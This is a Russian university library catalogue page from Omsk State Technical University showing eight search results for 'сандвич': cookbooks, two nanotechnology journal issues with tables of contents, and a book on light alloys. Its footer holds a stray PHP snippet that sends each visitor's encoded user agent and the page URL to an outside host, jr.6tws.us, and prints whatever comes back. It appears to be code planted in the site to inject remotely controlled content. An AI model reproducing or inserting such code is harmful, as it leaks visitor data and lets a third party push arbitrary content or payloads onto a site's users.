Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

411 пользователей


Зарегистрированных: 1 

Борисенко Виктория Александровна


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=САНДВИЧ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 8
1. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост. М. Т. Лабзина, 2014. - 767, [1] с.
Держатели документа (Информация об экземплярах) 
2. 
Российские нанотехнологии. - Журнал, 2010г. 5 № 1/2
Оглавление 
  • Емелин, Н. М. Аналитический обзор деятельности научно-образовательных центров национальной нанотехнологической сети / Н. М. Емелин, Ю. Н. Артамонов, В. О. Мелихов. - с.9-12. : рис.
  • Ковальчук, М. В. Конвергенция наук и технологий - прорыв в будущее / М. В. Ковальчук. - с.13-23.. - Библиогр. в конце ст. : рис.
    Кл. слова: нанотехнология, НБИК-технология
  • Рау, Э. И. Микросхема как сандвич: что скрывается внутри / Э. И. Рау. - с.24-25. : рис.
  • Бабкина, О. В. ТРЦКП: исследования и подготовка кадров для наноиндустрии / О. В. Бабкина [и др.]. - с.27-30. - Библиогр. в конце ст. : рис.
    Другие авторы: Дунаевский Г. Е., Ивонин И. В., Каминский П. П.
    Кл. слова: Томский государственный университет
  • Хлебцов, Н. Г. Биораспределение и токсичность золотых частиц / Н. Г. Хлебцов, Л. А. Дыкман. - с.39-59. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: нанооболочка, наностержень
  • Вознесенский, С. С. Биоминерализация - природный механизм нанотехнологий / С. С. Вознесенский, Ю. Н. Кульчин, А. Н. Галкина. - с.60-82. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: биокомпозит, биосиликат, биохимия
  • Лебедев-Степанов, П. В. Моделирование самосборки ансамблей микро- и наночастиц в испаряющейся микрокапле раствора / П. В. Лебедев-Степанов [и др.]. - с.83-88. - Библиогр. в конце ст. : рис.
    Другие авторы: Кадушников Р. М., Молчанов С. П., Рубин Н. И., Штуркин Н. А.
    Кл. слова: диссипативная динамика, испарение, броуновское движение
  • Ионова, И. В. Адсорбция и динамика молекул на гидрофобизированных микрочастицах двуокиси кремния. Исследование методом ЭПР-спектроскопии спиновых зондов / И. В. Ионова, М. В. Алфимов, В. А. Лившиц. - с.89-95. - Библиогр. в конце ст. : рис.
    Кл. слова: силасорб, углеводородная оболочка, силикагель
  • Ионова, И. В. Исследование методом ЭПР влияния ковалентной иммобилизации циклодекстриновых рецепторов на микрочастицах силикагеля на динамику и комплексообразование спин-меченых молекул-гостей / И. В. Ионова, М. В. Алфимов, В. А. Лившиц. - с.96-104. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: спиновый зонд, константы связывания
  • Суздалев, И. П. Электрические и магнитные фазовые переходы первого рода в наноструктурах / И. П. Суздалев [и др.]. - с.105-108. - Библиогр. в конце ст. : рис.
    Другие авторы: Буравцев В. Н., Максимов Ю. В., Николаев А. Н.
  • Астапенко, В. А. Влияние адсорбции воды на структурные и оптические свойства нанокластеров диоксидов кремния и титана / В. А. Астапенко, Л. П. Суханов. - с.109-117. - Библиогр. в конце ст.
  • Форш, П. А. Проводимость структур с кремниевыми нанокристаллами в оксидной матрице / П. А. Форш [и др.]. - с.118-121. - Библиогр. в конце ст. : рис.
    Другие авторы: Гаврилюк А. С., Форш Е. А., Жигунов Д. М., Мартышов М. Н.
  • Алымов, М. И. Синтез нанопорошков карбида титана и изготовление пористых материалов на их основе / М. И. Алымов [и др.]. - с.122-127. - Библиогр. в конце ст. : рис., табл.
    Другие авторы: Шустов В. С., Касимцев А. В., Жигунов В. В., Анкундинов А. Б.
  • Ильвес, В. Г. Получение нанопорошков ZnO и Zn-ZnO методом испарения импульсным пучком электронов в газе низкого давления / В. Г. Ильвес, С. Ю. Соковнин. - с.128-134. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: наноструктура, наноматериал
  • Калашников, И. Е. Трибологические характеристики литых алюмоматричных композиционных материалов, модифицированных наноразмерными тугоплавкими порошками / И. Е. Калашников, Л. К. Болотова, Т. А. Чернышова. - с.135-142. - Библиогр. в конце ст. : рис., табл.
  • Ильина, А. В. Получение, исследование и перспектива использования наночастиц на основе хитозана и галактоманнана / А. В. Ильина [и др.]. - с.143-148. - Библиогр. в конце ст. : рис., табл.
    Другие авторы: Местечкина Н. М., Курек Д. В., Левов А. Н., Семенюк П. И.
  • Тихомиров, С. А. Влияние режимов восстановления гидрооксида кобальта на дисперсность и степень восстановления кобальтовых нанопорошков / С. А. Тихомиров [и др.]. - с.105-107. - Библиогр. в конце ст. : табл.
    Другие авторы: Алымов М. И., Трегубова И. В., Шустов В. С.
  • Целуйкин, В. Н. Получение коллоидных дисперсий фуллерена С[[d]]60[[/d]] / В. Н. Целуйкин, О. А. Канафьева. - с.108-109. - Библиогр. в конце ст. : рис.
  • Дерябин, Д. Г. Острая токсичность углеродных наноматериалов в отношении Escherichia coli частично определяется присутствием технологических примесей / ; Д. Г. Дерябин, Е. С. Алешина, А. С. Тлягулова. - с.136-141. - Библиогр. в конце ст.
  • Барбашов, Ю. В. Фемтосекундная оптоперфорация стенки цианобактерии Anabaena sp. РСС 7120 в присутствии наночастиц золота / Ю. В. Барбашов, А. Д. Залесский. - с.136-141. - Библиогр. в конце ст.
    Другие авторы: Залесский А. Д., Айбушев А. В., Саркисов О. М. Радциг М. А.
    Кл. слова: морфология клетки, наночастицы
Держатели документа (Информация об экземплярах) 
3. 
Российские нанотехнологии. - Журнал, 2011г. 6 № 1/2
Оглавление 
  • Емелин, Н. М. Аналитический обзор деятельности научно-образовательных центров национальной нанотехнологической сети / Н. М. Емелин, Ю. Н. Артамонов, В. О. Мелихов. - с.9-12. : рис.
  • Ковальчук, М. В. Конвергенция наук и технологий - прорыв в будущее / М. В. Ковальчук. - с.13-23.. - Библиогр. в конце ст. : рис.
    Кл. слова: нанотехнология, НБИК-технология
  • Рау, Э. И. Микросхема как сандвич: что скрывается внутри / Э. И. Рау. - с.24-25. : рис.
  • Бабкина, О. В. ТРЦКП: исследования и подготовка кадров для наноиндустрии / О. В. Бабкина [и др.]. - с.27-30. - Библиогр. в конце ст. : рис.
    Другие авторы: Дунаевский Г. Е., Ивонин И. В., Каминский П. П.
    Кл. слова: Томский государственный университет
  • Хлебцов, Н. Г. Биораспределение и токсичность золотых частиц / Н. Г. Хлебцов, Л. А. Дыкман. - с.39-59. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: нанооболочка, наностержень
  • Вознесенский, С. С. Биоминерализация - природный механизм нанотехнологий / С. С. Вознесенский, Ю. Н. Кульчин, А. Н. Галкина. - с.60-82. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: биокомпозит, биосиликат, биохимия
  • Лебедев-Степанов, П. В. Моделирование самосборки ансамблей микро- и наночастиц в испаряющейся микрокапле раствора / П. В. Лебедев-Степанов [и др.]. - с.83-88. - Библиогр. в конце ст. : рис.
    Другие авторы: Кадушников Р. М., Молчанов С. П., Рубин Н. И., Штуркин Н. А.
    Кл. слова: диссипативная динамика, испарение, броуновское движение
  • Ионова, И. В. Адсорбция и динамика молекул на гидрофобизированных микрочастицах двуокиси кремния. Исследование методом ЭПР-спектроскопии спиновых зондов / И. В. Ионова, М. В. Алфимов, В. А. Лившиц. - с.89-95. - Библиогр. в конце ст. : рис.
    Кл. слова: силасорб, углеводородная оболочка, силикагель
  • Ионова, И. В. Исследование методом ЭПР влияния ковалентной иммобилизации циклодекстриновых рецепторов на микрочастицах силикагеля на динамику и комплексообразование спин-меченых молекул-гостей / И. В. Ионова, М. В. Алфимов, В. А. Лившиц. - с.96-104. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: спиновый зонд, константы связывания
  • Суздалев, И. П. Электрические и магнитные фазовые переходы первого рода в наноструктурах / И. П. Суздалев [и др.]. - с.105-108. - Библиогр. в конце ст. : рис.
    Другие авторы: Буравцев В. Н., Максимов Ю. В., Николаев А. Н.
  • Астапенко, В. А. Влияние адсорбции воды на структурные и оптические свойства нанокластеров диоксидов кремния и титана / В. А. Астапенко, Л. П. Суханов. - с.109-117. - Библиогр. в конце ст.
  • Форш, П. А. Проводимость структур с кремниевыми нанокристаллами в оксидной матрице / П. А. Форш [и др.]. - с.118-121. - Библиогр. в конце ст. : рис.
    Другие авторы: Гаврилюк А. С., Форш Е. А., Жигунов Д. М., Мартышов М. Н.
  • Алымов, М. И. Синтез нанопорошков карбида титана и изготовление пористых материалов на их основе / М. И. Алымов [и др.]. - с.122-127. - Библиогр. в конце ст. : рис., табл.
    Другие авторы: Шустов В. С., Касимцев А. В., Жигунов В. В., Анкундинов А. Б.
  • Ильвес, В. Г. Получение нанопорошков ZnO и Zn-ZnO методом испарения импульсным пучком электронов в газе низкого давления / В. Г. Ильвес, С. Ю. Соковнин. - с.128-134. - Библиогр. в конце ст. : рис., табл.
    Кл. слова: наноструктура, наноматериал
  • Калашников, И. Е. Трибологические характеристики литых алюмоматричных композиционных материалов, модифицированных наноразмерными тугоплавкими порошками / И. Е. Калашников, Л. К. Болотова, Т. А. Чернышова. - с.135-142. - Библиогр. в конце ст. : рис., табл.
  • Ильина, А. В. Получение, исследование и перспектива использования наночастиц на основе хитозана и галактоманнана / А. В. Ильина [и др.]. - с.143-148. - Библиогр. в конце ст. : рис., табл.
    Другие авторы: Местечкина Н. М., Курек Д. В., Левов А. Н., Семенюк П. И.
Держатели документа (Информация об экземплярах) 
4. 
Богушева, Валентина Ивановна. Технология приготовления пищи [Текст] / В. И. Богушева, 2010. - 374, [1] с.
Держатели документа (Информация об экземплярах) 

В пособии представлен весь комплекс теоретических основ производства продукции общественного питания.

Дана характеристика химического состава и физических свойств различных продуктов. Рассмотрены основные способы и приемы первичной обработки сырья и приготовления полуфабрикатов. Характеризуются приемы тепловой обработки, а также изменения, происходящие в продуктах под влиянием высоких температур.

Основная часть пособия посвящена технологии приготовления кулинарных блюд, правилам их оформления и подачи.

Особое внимание обращается на требования, предъявляемые к качеству продукции общественного питания, срокам ее хранения и реализации.

В последних главах освещаются вопросы лечебного и детского питания, дается характеристика различных диет.

Предназначено для студентов технологических, торгово-экономических, кооперативных колледжей и техникумов. Он может представлять интерес и для практических работников, обучающихся в системе переподготовки кадров и повышения квалификации.

5. 
Рецепты микроволновой печи. Быстро! Вкусно! Удобно! [Текст] / сост. Г. В. Булгакова, 1996. - 350 с.
Держатели документа (Информация об экземплярах) 
6. 
Чудеса в микроволновой печи [Текст] : рецепты и полез. советы для кулинара / сост. О. В. Крылова, 1994. - 286, [2] с.
7. 
Полмеар, Ян. Легкие сплавы: от традиционных до нанокристаллов [Текст] / Я. Полмеар ; пер. с англ. Ю. Л. Цвирко, 2008. - 463 с.
Держатели документа (Информация об экземплярах) 
8. 
Хлеб на любой вкус [Текст] / сост. Л. В. Шабыкина ; дар. Н. Е. Бадаева, 1987. - 286, [1] с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2839 - 19.03.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.33 с.16 запросов, 1.01c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;